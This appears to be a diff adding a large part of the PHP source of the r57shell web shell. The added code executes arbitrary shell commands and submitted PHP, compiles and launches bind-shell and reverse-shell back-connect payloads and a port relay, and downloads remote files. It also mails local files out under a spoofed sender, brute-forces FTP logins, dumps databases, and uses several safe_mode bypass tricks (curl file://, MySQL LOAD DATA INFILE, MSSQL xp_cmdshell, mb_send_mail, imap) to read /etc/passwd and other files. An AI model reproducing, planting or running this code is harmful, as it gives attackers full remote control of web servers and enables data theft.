+echo ws(3).@substr($SERVER_SOFTWARE,0,120)." ";
+if(!empty($id)) { echo ws(3).$id." "; }
+else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid'))
+ {
+ $euserinfo = @posix_getpwuid(@posix_geteuid());
+ $egroupinfo = @posix_getgrgid(@posix_getegid());
+ echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' ) ';
+ }
+else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()." ";
+echo ws(3).$dir;
+echo ws(3).'( '.perms(@fileperms($dir)).' )';
+echo " ";
+}
+else
+{
+echo 'OS :'.ws(1).' Server :'.ws(1).' User :'.ws(1).' pwd :'.ws(1).' ';
+echo " ";
+echo "";
+echo ws(3).@substr(@php_uname(),0,120)." ";
+echo ws(3).@substr($SERVER_SOFTWARE,0,120)." ";
+echo ws(3).@getenv("USERNAME")." ";
+echo ws(3).$dir;
+echo " ";
+}
+echo "";
+echo "
";
+if(empty($c1)||empty($c2)) { die(); }
+$f = ' ';
+$f .= base64_decode($c1);
+$f .= base64_decode($c2);
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
+ {
+ $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
+ err(6+$res);
+ $_POST['cmd']="";
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
+ {
+ if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
+ else
+ {
+ $filename = @basename($_POST['loc_file']);
+ $filedump = @fread($file,@filesize($_POST['loc_file']));
+ fclose($file);
+ $content_encoding=$mime_type='';
+ compress($filename,$filedump,$_POST['compress']);
+ $attach = array(
+ "name"=>$filename,
+ "type"=>$mime_type,
+ "content"=>$filedump
+ );
+ if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; }
+ if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; }
+ $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
+ err(6+$res);
+ $_POST['cmd']="";
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
+{
+$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
+}
+if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
+ {
+ switch($_POST['what'])
+ {
+ case 'own':
+ @chown($_POST['param1'],$_POST['param2']);
+ break;
+ case 'grp':
+ @chgrp($_POST['param1'],$_POST['param2']);
+ break;
+ case 'mod':
+ @chmod($_POST['param1'],intval($_POST['param2'], 8));
+ break;
+ }
+ $_POST['cmd']="";
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
+ {
+ switch($_POST['what'])
+ {
+ case 'file':
+ if($_POST['action'] == "create")
+ {
+ if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
+ else {
+ fclose($file);
+ $_POST['e_name'] = $_POST['mk_name'];
+ $_POST['cmd']="edit_file";
+ echo "".$lang[$language.'_text61']."
";
+ }
+ }
+ else if($_POST['action'] == "delete")
+ {
+ if(unlink($_POST['mk_name'])) echo "".$lang[$language.'_text63']."
";
+ $_POST['cmd']="";
+ }
+ break;
+ case 'dir':
+ if($_POST['action'] == "create"){
+ if(mkdir($_POST['mk_name']))
+ {
+ $_POST['cmd']="";
+ echo "".$lang[$language.'_text62']."
";
+ }
+ else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
+ }
+ else if($_POST['action'] == "delete"){
+ if(rmdir($_POST['mk_name'])) echo "".$lang[$language.'_text64']."
";
+ $_POST['cmd']="";
+ }
+ break;
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
+ {
+ if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
+ if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; }
+ else {
+ echo $table_up3;
+ echo $font;
+ echo "";
+ echo ws(3)."".$_POST['e_name']." ";
+ echo "";
+ echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
+ fclose($file);
+ echo " ";
+ echo " ";
+ echo " ";
+ echo " ";
+ echo (!empty($only_read)?(" ".$lang[$language.'_text44']):(" "));
+ echo "
";
+ echo "";
+ echo " ";
+ echo "
";
+ exit();
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
+ {
+ $mtime = @filemtime($_POST['e_name']);
+ if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); }
+ else {
+ if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
+ @fwrite($file,$_POST['e_text']);
+ @touch($_POST['e_name'],$mtime,$mtime);
+ $_POST['cmd']="";
+ echo "".$lang[$language.'_text45']."
";
+ }
+ }
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
+{
+ cf("/tmp/bd.c",$port_bind_bd_c);
+ $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
+ @unlink("/tmp/bd.c");
+ $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
+ $_POST['cmd']="ps -aux | grep bd";
+}
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
+{
+ cf("/tmp/bdpl",$port_bind_bd_pl);
+ $p2=which("perl");
+ $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
+ $_POST['cmd']="ps -aux | grep bdpl";
+}
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
+{
+ cf("/tmp/back",$back_connect);
+ $p2=which("perl");
+ $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
+{
+ cf("/tmp/back.c",$back_connect_c);
+ $blah = ex("gcc -o /tmp/backc /tmp/back.c");
+ @unlink("/tmp/back.c");
+ $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
+{
+ cf("/tmp/dp",$datapipe_pl);
+ $p2=which("perl");
+ $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
+ $_POST['cmd']="ps -aux | grep dp";
+}
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
+{
+ cf("/tmp/dpc.c",$datapipe_c);
+ $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
+ @unlink("/tmp/dpc.c");
+ $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
+ $_POST['cmd']="ps -aux | grep dpc";
+}
+if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
+if (!empty($HTTP_POST_FILES['userfile']['name']))
+{
+if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
+else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
+@copy($HTTP_POST_FILES['userfile']['tmp_name'],
+ $_POST['dir']."/".$nfn)
+ or print("Error uploading file ".$HTTP_POST_FILES['userfile']['name']."
");
+}
+if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
+{
+ switch($_POST['with'])
+ {
+ case wget:
+ $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
+ break;
+ case fetch:
+ $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
+ break;
+ case lynx:
+ $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+ case links:
+ $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+ case GET:
+ $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+ case curl:
+ $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
+ break;
+ }
+}
+if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down"))
+ {
+ list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
+ if(empty($ftp_port)) { $ftp_port = 21; }
+ $connection = @ftp_connect ($ftp_server,$ftp_port,10);
+ if(!$connection) { err(3); }
+ else
+ {
+ if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
+ else
+ {
+ if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); }
+ if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); }
+ }
+ }
+ @ftp_close($connection);
+ $_POST['cmd'] = "";
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute")
+ {
+ list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
+ if(empty($ftp_port)) { $ftp_port = 21; }
+ $connection = @ftp_connect ($ftp_server,$ftp_port,10);
+ if(!$connection) { err(3); $_POST['cmd'] = ""; }
+ else if(!$users=get_users()) { echo "".$lang[$language.'_text96']."
"; $_POST['cmd'] = ""; }
+ @ftp_close($connection);
+ }
+echo $table_up3;
+if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
+else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
+echo $font.$lang[$language.'_text1'].": ".$_POST['cmd']." ";
+if($safe_mode)
+{
+ switch($_POST['cmd'])
+ {
+ case 'safe_dir':
+ $d=@dir($dir);
+ if ($d)
+ {
+ while (false!==($file=$d->read()))
+ {
+ if ($file=="." || $file=="..") continue;
+ @clearstatcache();
+ list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
+ if(!$unix){
+ echo date("d.m.Y H:i",$mtime);
+ if(@is_dir($file)) echo " "; else printf("% 7s ",$size);
+ }
+ else{
+ $owner = @posix_getpwuid($uid);
+ $grgid = @posix_getgrgid($gid);
+ echo $inode." ";
+ echo perms(@fileperms($file));
+ printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
+ echo date("d.m.Y H:i ",$mtime);
+ }
+ echo "$file\n";
+ }
+ $d->close();
+ }
+ else echo $lang[$language._text29];
+ break;
+ case 'test1':
+ $ci = @curl_init("file://".$_POST['test1_file']."");
+ $cf = @curl_exec($ci);
+ echo $cf;
+ break;
+ case 'test2':
+ @include($_POST['test2_file']);
+ break;
+ case 'test3':
+ if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
+ $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
+ if($db)
+ {
+ if(@mysql_select_db($_POST['test3_md'],$db))
+ {
+ @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
+ @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");
+ @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");
+ $r = @mysql_query("SELECT * FROM temp_r57_table");
+ while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
+ @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mysql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to mysql server";
+ break;
+ case 'test4':
+ if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
+ $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
+ if($db)
+ {
+ if(@mssql_select_db($_POST['test4_md'],$db))
+ {
+ @mssql_query("drop table r57_temp_table",$db);
+ @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
+ @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
+ $res = mssql_query("select * from r57_temp_table",$db);
+ while(($row=@mssql_fetch_row($res)))
+ {
+ echo $row[0]."\r\n";
+ }
+ @mssql_query("drop table r57_temp_table",$db);
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mssql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to MSSQL server";
+ break;
+ case 'test5':
+ if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail');
+ $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail";
+ @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
+ $lines = file ('/tmp/mb_send_mail');
+ foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; }
+ break;
+ case 'test6':
+ $stream = @imap_open('/etc/passwd', "", "");
+ $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
+ for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n";
+ @imap_close($stream);
+ break;
+ case 'test7':
+ $stream = @imap_open($_POST['test7_file'], "", "");
+ $str = @imap_body($stream, 1);
+ echo $str;
+ @imap_close($stream);
+ break;
+ case 'test8':
+ if(@copy("compress.zlib://".$_POST['test8_file1'], $_POST['test8_file2'])) echo $lang[$language.'_text118'];
+ else echo $lang[$language.'_text119'];
+ break;
+ }
+}
+else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){
+ $cmd_rep = ex($_POST['cmd']);
+ if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
+ else { echo @htmlspecialchars($cmd_rep)."\n"; }}
+if ($_POST['cmd']=="ftp_brute")
+ {
+ $suc = 0;
+ foreach($users as $user)
+ {
+ $connection = @ftp_connect($ftp_server,$ftp_port,10);
+ if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
+ else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
+ @ftp_close($connection);
+ }
+ echo "\r\n-------------------------------------\r\n";
+ $count = count($users);
+ if(isset($_POST['reverse'])) { $count *= 2; }
+ echo $lang[$language.'_text97'].$count."\r\n";
+ echo $lang[$language.'_text98'].$suc."\r\n";
+ }
+if ($_POST['cmd']=="php_eval"){
+ $eval = @str_replace("","",$_POST['php_eval']);
+ $eval = @str_replace("?>","",$eval);
+ @eval($eval);}
+if ($_POST['cmd']=="mysql_dump")
+ {
+ if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
+ $sql = new my_sql();
+ $sql->db = $_POST['db'];
+ $sql->host = $_POST['db_server'];
+ $sql->port = $_POST['db_port'];
+ $sql->user = $_POST['mysql_l'];
+ $sql->pass = $_POST['mysql_p'];
+ $sql->base = $_POST['mysql_db'];
+ if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
+ else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
+ else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
+ else {
+ if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
+ else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); }
+ else { echo "[-] ERROR! Can't write in dump file"; }
+ }
+ }
+echo "
";
+echo "";
+echo "
";
+echo "";
+function div_title($title, $id)
+{
+ return ''.$title.' ';
+}
+function div($id)
+ {
+ if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '';
+ return '
';
+ }
+if(!$safe_mode){
+echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
+echo sr(15,"".$lang[$language.'_text3'].$arrow." ",in('text','cmd',85,''));
+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.'
'.$table_end1.$fe;
+}
+else{
+echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
+echo sr(15,"
".$lang[$language.'_text4'].$arrow." ",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
+echo $te.'
'.$table_end1.$fe;
+}
+echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
+echo sr(15,"".$lang[$language.'_text43'].$arrow." ",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
+echo $te.''.$table_end1.$fe;
+if($safe_mode){
+echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
+echo sr(15,"".$lang[$language.'_text58'].$arrow." ",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."".$lang[$language.'_text65']." ".$lang[$language.'_text66']." ".ws(3)."".$lang[$language.'_text59']." ".$lang[$language.'_text60']." ".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode && $unix){
+echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id5').$table_up2.div('id5').$ts;
+echo sr(15,"".$lang[$language.'_text68'].$arrow." ","CHMOD CHOWN CHGRP ".ws(2)."".$lang[$language.'_text69'].$arrow." ".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."".$lang[$language.'_text70'].$arrow." ".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.''.$table_end1.$fe;
+}
+if(!$safe_mode){
+$aliases2 = '';
+foreach ($aliases as $alias_name=>$alias_cmd)
+ {
+ $aliases2 .= "$alias_name ";
+ }
+echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts;
+echo sr(15,"".ws(9).$lang[$language.'_text8'].$arrow.ws(4)." ","".$aliases2." ".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.''.$table_end1.$fe;
+}
+echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts;
+echo sr(15,"".$lang[$language.'_text52'].$arrow." ",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
+echo sr(15,"".$lang[$language.'_text53'].$arrow." ",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
+echo sr(15,"".$lang[$language.'_text55'].$arrow." ",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
+echo $te.''.$table_end1.$fe;
+if(!$safe_mode && $unix){
+echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id8').$table_up2.div('id8').$ts;
+echo sr(15,"".$lang[$language.'_text72'].$arrow." ",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
+echo sr(15,"".$lang[$language.'_text73'].$arrow." ",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
+echo sr(15,"".$lang[$language.'_text74'].$arrow." ",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
+echo $te.''.$table_end1.$fe;
+}
+echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font;
+echo "".div('id9')."";
+echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");"));
+echo " ";
+echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
+echo " ".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
+echo "
";
+echo $table_end1.$fe;
+if($safe_mode&&$curl_on)
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode)
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
+echo "";
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&$mysql_on)
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id12').$table_up2.div('id12').$ts;
+echo sr(15,"".$lang[$language.'_text36'].$arrow." ",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."".$lang[$language.'_text37'].$arrow." ".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."".$lang[$language.'_text38'].$arrow." ".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow." ".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&$mssql_on)
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id13').$table_up2.div('id13').$ts;
+echo sr(15,"".$lang[$language.'_text36'].$arrow." ",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."".$lang[$language.'_text37'].$arrow." ".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."".$lang[$language.'_text38'].$arrow." ".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow." ".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
+echo sr(15,"".$lang[$language.'_text3'].$arrow." ",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&$unix&&function_exists('mb_send_mail')){
+echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id22').$table_up2.div('id22').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&function_exists('imap_list')){
+echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id23').$table_up2.div('id23').$ts;
+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode&&function_exists('imap_body')){
+echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id24').$table_up2.div('id24').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if($safe_mode)
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id25').$table_up2.div('id25').$ts;
+echo sr(15,"".$lang[$language.'_text116'].$arrow." ",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
+echo sr(15,"".$lang[$language.'_text117'].$arrow." ",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+if(@ini_get('file_uploads')){
+echo "";
+echo $table_up1.div_title($lang[$language.'_text5'],'id14').$table_up2.div('id14').$ts;
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile',85,''));
+echo sr(15,"".$lang[$language.'_text21'].$arrow." ",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te.''.$table_end1.$fe;
+}
+if(!$safe_mode&&$unix){
+echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id15').$table_up2.div('id15').$ts;
+echo sr(15,"".$lang[$language.'_text16'].$arrow." ","wget fetch lynx links curl GET ".in('hidden','dir',0,$dir).ws(2)."".$lang[$language.'_text17'].$arrow." ".in('text','rem_file',78,'http://'));
+echo sr(15,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te.''.$table_end1.$fe;
+}
+echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id16').$table_up2.div('id16').$ts;
+echo sr(15,"".$lang[$language.'_text59'].$arrow." ",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
+$arh = $lang[$language.'_text92'];
+if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }
+if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }
+if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
+echo sr(15,"".$lang[$language.'_text91'].$arrow." ",in('radio','compress',0,'none',1).' '.$arh);
+echo $te.''.$table_end1.$fe;
+if(@function_exists("ftp_connect")){
+echo $table_up1.div_title($lang[$language.'_text93'],'id17').$table_up2.div('id17').$ts."".$fs."".$ts;
+echo "".$lang[$language.'_text87']."
";
+echo sr(25,"".$lang[$language.'_text88'].$arrow." ",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
+echo sr(25,"".$lang[$language.'_text37'].$arrow." ",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
+echo sr(25,"".$lang[$language.'_text38'].$arrow." ",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
+echo sr(25,"".$lang[$language.'_text89'].$arrow." ",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
+echo sr(25,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',45,$dir));
+echo sr(25,"".$lang[$language.'_text90'].$arrow." ","FTP_BINARY FTP_ASCII ".in('hidden','dir',0,$dir));
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text100']."
";
+echo sr(25,"".$lang[$language.'_text88'].$arrow." ",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
+echo sr(25,"".$lang[$language.'_text37'].$arrow." ",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
